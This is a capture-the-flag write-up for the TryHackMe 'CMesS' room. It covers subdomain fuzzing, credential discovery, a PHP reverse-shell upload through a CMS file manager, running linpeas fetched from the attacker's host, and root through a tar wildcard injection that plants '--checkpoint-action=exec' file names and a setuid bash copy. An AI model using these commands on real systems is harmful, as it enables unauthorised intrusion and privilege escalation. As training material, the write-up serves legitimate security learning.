TryHackMe - CMesS
Last updated
Last updated
With gobuster we found: /login and /admin
Let's look for subdomain wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://cmess.thm' -H "HOST: FUZZ.cmess.thm" --hw 290
We remove pages with 290 words because it is a not found response so not relevant for us even though the response code is 200. W find dev subdomain let's add it to /etc/hosts 10.10.125.143 dev.cmess.thm
We can try the CVE previously found with google
=> NOT WORKING
We stabilize our shell python3 -c 'import pty; pty.spawn("/bin/bash")'
Lets get a privesc enum script in our target. I am a fan of linpeas so I am gonna use it here.
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 80
And from our target we type wget http://10.13.22.56/linpeas.sh (we need to be in the tmp folder to successfully write the file)
We make it executable chmod +x linpeas.sh and we launch it ./linpeas.sh
List of cve we could try out
other interesting things to check
The sudo version is not successful cause our version does not seem vulnerable.
We have another password
Let's now enumerate way to privesc from Andre's user
This is doing a backup with a wildcard. We can try to abuse this.
Let's go to the backup folder
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/andre/backup/runme.sh we create a malicious bash
touch /home/andre/backup/--checkpoint=1 when the scheduled script is going to read the home directory it will have a file named as a tar command, so it will interpret it. This command displays a status message every 1
touch /home/andre/backup/--checkpoint-action=exec=sh\ runme.sh then this command is going to make and action when the checkpoint we created before is hit
Let's now try to launch our script /tmp/bash -p
When googling we find (needs to be authenticated)
We have a robots.txt
We find a few usernames and a username password combination! Let's try it!
And it works!
In the dashboard there is a feature called file manager. If we check out the config file we find a few interesting info including another password that we keep aside for later.
let's follow this blog
What's working though is to use the feature to download a php reverse shell this way we get a shell. Our file goes in the asset folder
Then we just need to access to the url http://cmess.thm/assets/php-reverse-shell.php and we get our shell
Let's check this file /opt/.password.bak
Let's try it if we su andre it works! let's ssh as andre
Let's grab the user flag
Our home is in the path. This seems to be an interesting cron job
It works!
Let's grab the last flag
